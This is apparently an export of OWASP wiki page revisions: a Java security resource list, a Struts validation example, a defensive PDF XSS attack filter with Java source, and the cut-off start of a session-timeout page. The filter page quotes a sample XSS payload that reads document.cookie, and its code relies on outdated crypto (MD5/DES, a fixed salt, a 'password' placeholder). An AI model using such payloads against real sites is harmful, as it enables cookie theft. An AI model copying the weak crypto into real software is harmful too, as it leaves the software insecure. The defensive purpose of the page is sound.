| colspan=&amp;quot;2&amp;quot; | [[OWASP_ESAPI|OWASP Enterprise Security API (ESAPI)]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| ESAPI (The OWASP Enterprise Security API) for Java is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. This project has seen major updates as recently as February 2016.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== General Documents ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
| [[OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide|OWASP Secure Coding Practices - Quick Reference Guide]]&lt;br /&gt;
| [[OWASP_Codes_of_Conduct|OWASP Codes of Conduct]]&lt;br /&gt;
| [[Cheat_Sheets|OWASP Cheat Sheets Series]]&lt;br /&gt;
|- &lt;br /&gt;
| [[OWASP_Testing_Project|OWASP Testing Project]]&lt;br /&gt;
| [[OWASP_Top_Ten_Project|OWASP Web Top 10]]&lt;br /&gt;
| [[OWASP_Vulnerable_Web_Applications_Directory_Project|OWASP Vulnerable Web Applications Directory]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Related 3rd Party Projects =&lt;br /&gt;
&lt;br /&gt;
A list of third party (i.e. not part of Java SE or EE) security frameworks. This page contains a list of Java security libraries and frameworks and indicates which security features each library supports. &lt;br /&gt;
&lt;br /&gt;
==Enterprise==&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro] is a Java security framework that performs authentication, authorization, cryptography, and session management. &lt;br /&gt;
* [http://projects.spring.io/spring-security/ Spring Security] provides security services for Java EE-based enterprise software applications. Services include authentication, authorization and protection against attacks like session fixation, clickjacking and cross site request forgery. &lt;br /&gt;
* [http://www.hdiv.org/ HDIV] A web application security framework that provides a number of functions.&lt;br /&gt;
&lt;br /&gt;
== Access Control (Authentication and Authorization) ==&lt;br /&gt;
* [http://oaccframework.org/ OACC] is an application security framework for Java designed for fine grained (object level) access control. OACC uses the abstraction of a ''resource'' for the application objects being secured. This key abstraction enables OACC to provide a rich API that includes grant, revoke and query capabilities for storing and managing the application's security relationships.&lt;br /&gt;
* [http://picketlink.org/appsecurity/ PicketLink]  provides authentication, single sign on, permission based access control and other security features.&lt;br /&gt;
&lt;br /&gt;
== Encryption ==&lt;br /&gt;
* [https://github.com/google/keyczar Keyczar] is an open source cryptographic toolkit designed to make it easier and safer for developers to use cryptography in their applications. Keyczar supports authentication and encryption with both symmetric and asymmetric keys.&lt;br /&gt;
* [http://www.bouncycastle.org/ Bouncycastle] is a lightweight Java cryptography API &amp;lt;i&amp;gt;provider&amp;lt;/i&amp;gt;.&lt;br /&gt;
* [http://www.jasypt.org/ Jasypt] is a Java library which allows the developer to add basic encryption capabilities to his/her projects with minimum effort, and without the need of having deep knowledge on how cryptography works.&lt;br /&gt;
&lt;br /&gt;
== XML Security ==&lt;br /&gt;
* The [http://santuario.apache.org/ Apache Santuario] project is aimed at providing implementation of the primary security standards for XML: XML-Signature Syntax and Processing and XML Encryption Syntax and Processing.&lt;br /&gt;
&lt;br /&gt;
== Validation ==&lt;br /&gt;
* [http://www.sapia-oss.org/projects/vlad/home.html Vlad] stands for &amp;quot;validation&amp;quot;. This projects indeed aims at offering a simple, high-level, extensible, generic validation framework that can easily be integrated into existing applications.&lt;br /&gt;
* [https://www.owasp.org/index.php/Protect_FileUpload_Against_Malicious_File This OWASP article] and [https://github.com/righettod/document-upload-protection code snippet] proposes a way to protect a file upload feature against submission of files that may contain malicious code.&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ The Apache Common's validator] can be used to perform validation.&lt;br /&gt;
&lt;br /&gt;
= Resources =&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Technologies Mailing List]&lt;br /&gt;
&lt;br /&gt;
== Code Repository ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/owasp GitHub OWASP Global Repository]&lt;br /&gt;
&lt;br /&gt;
== Related Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
&lt;br /&gt;
[[Language|Languages Repository]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_.NET_Project|.NET Project]]&lt;br /&gt;
&lt;br /&gt;
[[Ruby|Ruby Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[PHP|PHP Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[Perl|Perl Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[Python|Python Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[JavaScript|JavaScript Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[C/C++|C/C++ Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[SQL|SQL, PL/SQL and DB Scripting Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Internet_of_Things_Project|OWASP IoT Security Project]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Mobile_Security_Project|OWASP Mobile Security Project]]&lt;br /&gt;
&lt;br /&gt;
= Tasks and Roadmap =&lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
* Build Java and JVM security related net resources guide&lt;br /&gt;
* The OWASP Java and JVM Technology Knowledge Base is principally about creating deep, rich guidance for Java and JVM developers using all kind of security resources. The idea is to have an effort of building a internet resource guide for everything around the JVM universe. Information, blogs, articles, tools, test servers and more. Important however is that this list is seriously curated.&lt;br /&gt;
* Concrete guideline for Java and JVM developers&lt;br /&gt;
* Clear checklists, around various topics, language, servers and frameworks.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Get involved =&lt;br /&gt;
&lt;br /&gt;
The first step would be to establish contact with the project leaders and/or the entire team. This can be done using a direct and private message, or by joining the public mailing list to say hello.&lt;br /&gt;
&lt;br /&gt;
When it comes to participating in project activities, everything depends on the time you are willing and able to invest. It is however very important to not jump into too many things at the beginning, later having to back out or to let unfinished things behind you. It is much better to start with small tasks, increasing intensity and investment over time. &lt;br /&gt;
&lt;br /&gt;
Please also be patient with expecting the &amp;quot;merge&amp;quot; of your work into the existing project pages and code. As everywhere in live, trust has to be built-up. &lt;br /&gt;
&lt;br /&gt;
The Java and JVM knowledge base has currently multiple tasks open, which can be found on the adequate section of this page. Not all tasks require a wiki account. Please take something you are interested in and start participating. Work load is not the only outcome when participating in open projects. You are getting a lot of things back: recognition, satisfaction, knowledge and contacts, sometime friends. &lt;br /&gt;
&lt;br /&gt;
Sounds cool? Then jump in...&lt;br /&gt;
&lt;br /&gt;
To get involved join the mailing list, follow this link: [http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Mailing List]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Archives =&lt;br /&gt;
&lt;br /&gt;
The previous version of this JAVA Project home page is archived here: [[OWASP Java Project Archive (8.2010)]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''IMPORTANT: all pages of these project are currently under review. A lot are outdated and are in the process of being removed or updated.''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Wikimedia insert classified page list here --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Technology]]&lt;br /&gt;
[[Category:Language]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Struts_Validation_in_an_ActionForm&amp;diff=235308</id>
		<title>Struts Validation in an ActionForm</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Struts_Validation_in_an_ActionForm&amp;diff=235308"/>
				<updated>2017-11-10T21:54:43Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* struts-config.xml&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
    &amp;lt;struts-config&amp;gt;&lt;br /&gt;
        &amp;lt;form-beans&amp;gt;&lt;br /&gt;
            &amp;lt;form-bean name=&amp;quot;logonForm&amp;quot; type=&amp;quot;net.jcj.LogonForm&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/form-beans&amp;gt;&lt;br /&gt;
        &amp;lt;action-mappings&amp;gt;&lt;br /&gt;
            &amp;lt;action path=&amp;quot;/Logon&amp;quot; forward=&amp;quot;/pages/Logon.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;action path=&amp;quot;/LogonSubmit&amp;quot; type=&amp;quot;app.jcj.LogonAction&amp;quot; name=&amp;quot;logonForm&amp;quot; &lt;br /&gt;
               scope=&amp;quot;request&amp;quot; validate=&amp;quot;true&amp;quot; input=&amp;quot;/pages/Logon.jsp&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;forward name=&amp;quot;success&amp;quot; path=&amp;quot;/pages/Welcome.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
                &amp;lt;forward name=&amp;quot;failure&amp;quot; path=&amp;quot;/pages/Logon.jsp&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;/action&amp;gt;&lt;br /&gt;
        &amp;lt;/action-mappings&amp;gt;&lt;br /&gt;
        &amp;lt;message-resources parameter=&amp;quot;resources.application&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;/struts-config&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* net.jcj.LogonForm&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package net.jcj;&lt;br /&gt;
&lt;br /&gt;
import javax.servlet.http.HttpServletRequest;&lt;br /&gt;
import org.apache.struts.action.*;&lt;br /&gt;
&lt;br /&gt;
public class LogonForm extends ActionForm&lt;br /&gt;
{&lt;br /&gt;
  private String userId = null;&lt;br /&gt;
  private String password = null;&lt;br /&gt;
&lt;br /&gt;
  public void setUserId (String userId){&lt;br /&gt;
    this.userId = userId ;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  public String getUserId(){&lt;br /&gt;
    return this.userId ;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  public void setPassword (String password){&lt;br /&gt;
    this.password = password;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  public String getPassword(){&lt;br /&gt;
    return this.password;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Resets all properties to their default values.&lt;br /&gt;
     */&lt;br /&gt;
    public void reset(ActionMapping mapping, HttpServletRequest request) {&lt;br /&gt;
      this.userId = null;&lt;br /&gt;
      this.password = null;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Validates the form.  Returns a list of action&lt;br /&gt;
     * Of course in a production environment, your rules would be far more strict than this.&lt;br /&gt;
     */&lt;br /&gt;
  public ActionErrors validate( &lt;br /&gt;
      ActionMapping mapping, HttpServletRequest request ) {&lt;br /&gt;
      ActionErrors errors = new ActionErrors();&lt;br /&gt;
      &lt;br /&gt;
      if( getUserId() == null || getUserId().length() &amp;lt; 1 ) {&lt;br /&gt;
        errors.add(&amp;quot;userId&amp;quot;,new ActionMessage(&amp;quot;error.userid.required&amp;quot;));&lt;br /&gt;
      }&lt;br /&gt;
      if( getPassword() == null || getPassword().length() &amp;lt; 1 ) {&lt;br /&gt;
        errors.add(&amp;quot;password&amp;quot;,new ActionMessage(&amp;quot;error.password.required&amp;quot;));&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      return errors;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PDF_Attack_Filter_for_Java_EE&amp;diff=235307</id>
		<title>PDF Attack Filter for Java EE</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PDF_Attack_Filter_for_Java_EE&amp;diff=235307"/>
				<updated>2017-11-10T21:54:23Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=old&lt;br /&gt;
| lastRevision=2007-04-24&lt;br /&gt;
| comment=Content is old&lt;br /&gt;
}}&lt;br /&gt;
==Status==&lt;br /&gt;
Released 24/4/2007&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
This is a filter to block XSS attacks on PDF files served by Java EE applications. The details of the attack are discussed [http://www.gnucitizen.org/blog/danger-danger-danger/ elsewhere].  This filter implements a simple algorithm suggested by Amit Klein.  We've placed this software in the public domain to make it easy for anyone to use for any purpose. Please let us know if you're using it!&lt;br /&gt;
&lt;br /&gt;
If you have static PDF files, you may not need this filter. Instead, you could change MIME type or the Content-Disposition Header as [http://www.adobe.com/support/security/advisories/apsa07-02.html Adobe security advisory]. This will force the user to save the document rather than render it in the browser window.&lt;br /&gt;
&lt;br /&gt;
==Approach==&lt;br /&gt;
&lt;br /&gt;
This attack relies on having some javascript in an anchor after the url like this: http://www.site.com/file.pdf#blah=javascript:alert(document.cookie);&lt;br /&gt;
&lt;br /&gt;
So the idea is to strip off the anchor. Unfortunately for us, the browser doesn't send the anchor along with the HTTP request. So we can't just strip it off.&lt;br /&gt;
&lt;br /&gt;
Therefore, we're going to use a redirect to steer the browser to a link without the anchor containing the attack.  Well, actually it turns out that we have to overwrite the anchor with something else, so we're going to use &amp;quot;#a&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
But there's one last problem to overcome. Since the browser doesn't send the anchor, the new request will look exactly like the request generated by the redirect.  With no way of telling the original request from the one generated by our redirect, we'll create an infinite loop.&lt;br /&gt;
&lt;br /&gt;
So to differentiate them, we're going to add a temporary token to the URL in the redirect, which we'll verify when it arrives.  We don't want an attacker forging this token, so we're going to encrypt the user's source IP address along with a timestamp. If a request shows up for the PDF file without a valid token, we'll reject it. Or actually, we can force it to be saved to disk, thus preventing the attack from working.&lt;br /&gt;
&lt;br /&gt;
This way, only an attacker from the same IP address who can trick you into clicking a link within 10 seconds of creating it can attack you. Not perfect, but certainly raises the bar quite a bit.&lt;br /&gt;
&lt;br /&gt;
==Download==&lt;br /&gt;
&lt;br /&gt;
The source code (one file) and the compiled class file are in a single zip file.&lt;br /&gt;
&lt;br /&gt;
'''[http://www.owasp.org/images/5/59/PDFAttackFilter.zip DOWNLOAD]'''&lt;br /&gt;
&lt;br /&gt;
==Setup==&lt;br /&gt;
&lt;br /&gt;
The first step is to add the filter to our application. All we have to do is put the PDFAttackFilter class on our application's classpath, probably by putting it in the classes folder in WEB-INF. The class file should be in a folder structure that matches the package (org -&amp;gt; owasp -&amp;gt; filters -&amp;gt; PDFAttackFilter).  You can extract the class file from the zip file.&lt;br /&gt;
&lt;br /&gt;
Then we just have to add the following to our web.xml. You should paste this in right above your servlet definitions. You'll want to change the mapping so that it only applies to URLs that serve a PDF file. You could use *.pdf, but you may have servlets that stream PDF files that don't end in .pdf.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	&amp;lt;filter&amp;gt;&lt;br /&gt;
	     &amp;lt;filter-name&amp;gt;PDFAttackFilter&amp;lt;/filter-name&amp;gt;&lt;br /&gt;
	     &amp;lt;filter-class&amp;gt;org.owasp.filters.PDFAttackFilter&amp;lt;/filter-class&amp;gt;&lt;br /&gt;
             &amp;lt;init-param&amp;gt;&lt;br /&gt;
                 &amp;lt;param-name&amp;gt;timeoutSeconds&amp;lt;/param-name&amp;gt;&lt;br /&gt;
                 &amp;lt;param-value&amp;gt;1&amp;lt;/param-value&amp;gt;&lt;br /&gt;
             &amp;lt;/init-param&amp;gt;&lt;br /&gt;
             &amp;lt;init-param&amp;gt;&lt;br /&gt;
                 &amp;lt;param-name&amp;gt;encryptionPassword&amp;lt;/param-name&amp;gt;&lt;br /&gt;
                 &amp;lt;param-value&amp;gt;password&amp;lt;/param-value&amp;gt;&lt;br /&gt;
             &amp;lt;/init-param&amp;gt;&lt;br /&gt;
             &amp;lt;init-param&amp;gt;&lt;br /&gt;
                 &amp;lt;param-name&amp;gt;PDFAttackTokenName&amp;lt;/param-name&amp;gt;&lt;br /&gt;
                 &amp;lt;param-value&amp;gt;PDFAttackToken&amp;lt;/param-value&amp;gt;&lt;br /&gt;
             &amp;lt;/init-param&amp;gt;&lt;br /&gt;
	  &amp;lt;/filter&amp;gt;&lt;br /&gt;
	       &lt;br /&gt;
	  &amp;lt;filter-mapping&amp;gt;&lt;br /&gt;
	     &amp;lt;filter-name&amp;gt;PDFAttackFilter&amp;lt;/filter-name&amp;gt;&lt;br /&gt;
	     &amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;
	  &amp;lt;/filter-mapping&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Depending on your application, it may be difficult to map all the URLs that lead to PDF files. You can map multiple url-patterns to the filter if necessary. In theory, it might be possible to send the redirect only if a response with content-type application/pdf. Then you could map the filter to apply to ALL requests. If there is demand for this feature, let us know.&lt;br /&gt;
&lt;br /&gt;
==Source Code==&lt;br /&gt;
&lt;br /&gt;
This code has been only minimally tested. Please help us verify the approach and the implementation used here.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
 *  Software published by the Open Web Application Security Project (http://www.owasp.org)&lt;br /&gt;
 *  This software is in the public domain with no warranty.&lt;br /&gt;
 *&lt;br /&gt;
 * @author     Jeff Williams &amp;lt;a href=&amp;quot;http://www.aspectsecurity.com&amp;quot;&amp;gt;Aspect Security&amp;lt;/a&amp;gt;&lt;br /&gt;
 * @created    January 4, 2007&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
package org.owasp.filters;&lt;br /&gt;
&lt;br /&gt;
import java.io.IOException;&lt;br /&gt;
&lt;br /&gt;
import javax.crypto.Cipher;&lt;br /&gt;
import javax.crypto.SecretKey;&lt;br /&gt;
import javax.crypto.SecretKeyFactory;&lt;br /&gt;
import javax.crypto.spec.PBEParameterSpec;&lt;br /&gt;
import javax.servlet.Filter;&lt;br /&gt;
import javax.servlet.FilterChain;&lt;br /&gt;
import javax.servlet.FilterConfig;&lt;br /&gt;
import javax.servlet.ServletException;&lt;br /&gt;
import javax.servlet.ServletRequest;&lt;br /&gt;
import javax.servlet.ServletResponse;&lt;br /&gt;
import javax.servlet.http.HttpServletRequest;&lt;br /&gt;
import javax.servlet.http.HttpServletResponse;&lt;br /&gt;
&lt;br /&gt;
public class PDFAttackFilter implements Filter &lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	private static sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();&lt;br /&gt;
	private static sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();&lt;br /&gt;
	private static byte[] salt = { (byte) 0x23, (byte) 0x3f, (byte) 0x28, (byte) 0x00, (byte) 0x11, (byte) 0xc2, (byte) 0xd1, (byte) 0xff };&lt;br /&gt;
	private static PBEParameterSpec ps = new PBEParameterSpec( salt, 20 );&lt;br /&gt;
	private static SecretKey secretKey;&lt;br /&gt;
	private static int timeoutSeconds = 10;&lt;br /&gt;
	private static String tokenName = &amp;quot;PDFAttackToken&amp;quot;;&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException&lt;br /&gt;
	{&lt;br /&gt;
		HttpServletRequest req = (HttpServletRequest)request;&lt;br /&gt;
		HttpServletResponse res = (HttpServletResponse)response;&lt;br /&gt;
		String token = req.getParameter( tokenName );&lt;br /&gt;
&lt;br /&gt;
		try&lt;br /&gt;
		{&lt;br /&gt;
&lt;br /&gt;
			// IF the URL doesn't contain token, then:&lt;br /&gt;
			//  calculate X=encrypt_with_key(server_time, client_IP_address)&lt;br /&gt;
			//  redirect to file.pdf?token=X&lt;br /&gt;
			//  add #a to the end of the url to eliminate any remaining anchors&lt;br /&gt;
			&lt;br /&gt;
			if ( token == null )&lt;br /&gt;
			{&lt;br /&gt;
				String etoken = createToken( req );&lt;br /&gt;
				String base = req.getRequestURI();&lt;br /&gt;
				String querystring = req.getQueryString();&lt;br /&gt;
				if ( querystring != null ) base += &amp;quot;?&amp;quot; + req.getQueryString();&lt;br /&gt;
				String appender = base.contains( &amp;quot;?&amp;quot; ) ? &amp;quot;&amp;amp;&amp;quot; : &amp;quot;?&amp;quot;;&lt;br /&gt;
				String url = base + appender + tokenName + &amp;quot;=&amp;quot; + etoken + &amp;quot;#a&amp;quot;;&lt;br /&gt;
				res.sendRedirect( res.encodeRedirectURL( url ) );&lt;br /&gt;
				return;&lt;br /&gt;
			}&lt;br /&gt;
	&lt;br /&gt;
			// ELSE IF the URL contains token, then:	&lt;br /&gt;
			// if decrypt(token_query).IP_address==client_IP_address and&lt;br /&gt;
			// decrypt(token_query).time&amp;gt;server_time-10sec&lt;br /&gt;
			//  serve the PDF resource as an in-line resource&lt;br /&gt;
			&lt;br /&gt;
			if ( checkToken( token, req ) )&lt;br /&gt;
			{&lt;br /&gt;
				chain.doFilter(req, res);&lt;br /&gt;
				return;&lt;br /&gt;
			}&lt;br /&gt;
	&lt;br /&gt;
			// ELSE IF the token doesn't match, then:&lt;br /&gt;
			// serve the PDF resource as a &amp;quot;save to disk&amp;quot; resource via a proper&lt;br /&gt;
			// choice of the Content-Type header (and/or an attachment, via&lt;br /&gt;
			// Content-Disposition).&lt;br /&gt;
&lt;br /&gt;
			res.addHeader(&amp;quot;Content-Disposition&amp;quot;, &amp;quot;Attachment&amp;quot; );				&lt;br /&gt;
			res.setContentType( &amp;quot;application/octet&amp;quot; );  // may be overwritten&lt;br /&gt;
			chain.doFilter(req, res);&lt;br /&gt;
		}&lt;br /&gt;
		catch( Exception e )&lt;br /&gt;
		{&lt;br /&gt;
			throw new ServletException( e );&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	public void destroy() {&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	public void init(FilterConfig filterConfig) throws ServletException&lt;br /&gt;
	{&lt;br /&gt;
		try&lt;br /&gt;
		{&lt;br /&gt;
			String tsparam = filterConfig.getInitParameter(&amp;quot;timeoutSeconds&amp;quot;);&lt;br /&gt;
			timeoutSeconds = Integer.parseInt(tsparam);&lt;br /&gt;
			&lt;br /&gt;
			String epparam = filterConfig.getInitParameter(&amp;quot;encryptionPassword&amp;quot;);&lt;br /&gt;
			char[] password = epparam.toCharArray();&lt;br /&gt;
			&lt;br /&gt;
			tokenName = filterConfig.getInitParameter(&amp;quot;PDFAttackTokenName&amp;quot;);&lt;br /&gt;
			&lt;br /&gt;
			SecretKeyFactory kf = SecretKeyFactory.getInstance( &amp;quot;PBEWithMD5AndDES&amp;quot; );&lt;br /&gt;
			secretKey = kf.generateSecret( new javax.crypto.spec.PBEKeySpec( password ) );&lt;br /&gt;
		}&lt;br /&gt;
		catch( Exception e )&lt;br /&gt;
		{&lt;br /&gt;
			throw new ServletException( e );&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	public String createToken( HttpServletRequest request ) throws Exception&lt;br /&gt;
	{&lt;br /&gt;
		String address = request.getRemoteAddr();&lt;br /&gt;
		String time = &amp;quot;&amp;quot;+System.currentTimeMillis();&lt;br /&gt;
		return encryptString( address + &amp;quot;|&amp;quot; + time );&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	public boolean checkToken( String etoken, HttpServletRequest request ) throws Exception&lt;br /&gt;
	{&lt;br /&gt;
		String token = decryptString( etoken );&lt;br /&gt;
		&lt;br /&gt;
		String currentAddress = request.getRemoteAddr();&lt;br /&gt;
		String tokenAddress = getAddressFromToken( token );&lt;br /&gt;
		&lt;br /&gt;
		long currentTime = System.currentTimeMillis();&lt;br /&gt;
		long tokenTime = getTimeFromToken( token );&lt;br /&gt;
		&lt;br /&gt;
		return (currentAddress.equals( tokenAddress )) &amp;amp;&amp;amp; (tokenTime &amp;gt; currentTime - timeoutSeconds * 1000);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	public String getAddressFromToken( String token )&lt;br /&gt;
	{&lt;br /&gt;
		String address = token.substring( 0, token.indexOf(&amp;quot;|&amp;quot;) );&lt;br /&gt;
		return address;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	public long getTimeFromToken( String token )&lt;br /&gt;
	{&lt;br /&gt;
		String date = token.substring( token.indexOf(&amp;quot;|&amp;quot;) + 1 );&lt;br /&gt;
		Long longdate = Long.parseLong( date );&lt;br /&gt;
		return longdate.longValue();&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	public synchronized String decryptString( String str ) throws Exception&lt;br /&gt;
	{&lt;br /&gt;
		// Cipher is not threadsafe, so create a new one each time&lt;br /&gt;
		Cipher passwordDecryptCipher = Cipher.getInstance( &amp;quot;PBEWithMD5AndDES/CBC/PKCS5Padding&amp;quot; );&lt;br /&gt;
		passwordDecryptCipher.init( Cipher.DECRYPT_MODE, secretKey, ps );&lt;br /&gt;
		byte[] dec = decoder.decodeBuffer( str.replace( '_', '+') );&lt;br /&gt;
		byte[] utf8 = passwordDecryptCipher.doFinal( dec );&lt;br /&gt;
		return new String( utf8, &amp;quot;UTF-8&amp;quot; );&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	public synchronized String encryptString( String str ) throws Exception&lt;br /&gt;
	{&lt;br /&gt;
		// Cipher is not threadsafe, so create a new one each time&lt;br /&gt;
		Cipher passwordEncryptCipher = Cipher.getInstance( &amp;quot;PBEWithMD5AndDES/CBC/PKCS5Padding&amp;quot; );&lt;br /&gt;
		passwordEncryptCipher.init( Cipher.ENCRYPT_MODE, secretKey, ps );&lt;br /&gt;
		byte[] utf8 = str.getBytes( &amp;quot;UTF-8&amp;quot; );&lt;br /&gt;
		byte[] enc = passwordEncryptCipher.doFinal( utf8 );&lt;br /&gt;
		return encoder.encode( enc ).replace( '+', '_' );&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Compile==&lt;br /&gt;
&lt;br /&gt;
There are not many dependencies here, just the standard Java EE environment. You can compile with:&lt;br /&gt;
&lt;br /&gt;
  javac -classpath j2ee.jar -d . *.java&lt;br /&gt;
&lt;br /&gt;
Then just copy the 'org' folder that gets created to the WEB-INF/classes folder.&lt;br /&gt;
&lt;br /&gt;
'''Comment: ''' In the decryptString method, it is necessary to strip the &amp;quot;#a&amp;quot; from the end of the str parameter, otherwise an IllegalBlockSizeException will be thrown with &amp;quot;Input length must be multiple of 8 when decrypting with padded cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[Category:How To]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:OWASP_Validation_Project]]&lt;br /&gt;
[[Category:Countermeasure]]&lt;br /&gt;
[[Category:Control]]&lt;br /&gt;
[[Category:FixME/old]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Session_Timeout&amp;diff=235306</id>
		<title>Session Timeout</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Session_Timeout&amp;diff=235306"/>
				<updated>2017-11-10T21:53:31Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Released on (mm/dd/yyyy) : 01/22/2012&lt;br /&gt;
&lt;br /&gt;
==Description of the session timeout==&lt;br /&gt;
Session timeout represents the event occuring when a user do not perform any action on a web site during a interval (defined by web server). The event, on server side, change the status of the user session to 'invalid' (ie. &amp;quot;not used anymore&amp;quot;) and instruct the web server to destroy it (deleting all data contained into it).&lt;br /&gt;
&lt;br /&gt;
==Define the session timeout==&lt;br /&gt;
On JEE web application , there 2 ways to define session timeout,&lt;br /&gt;
* Declaratively in web deployment descriptor (file &amp;quot;web.xml&amp;quot;) : This definition is applied to all session created for the application.&lt;br /&gt;
* Programmatically on session object : This definition apply only on current session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Timeout defined declaratively'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
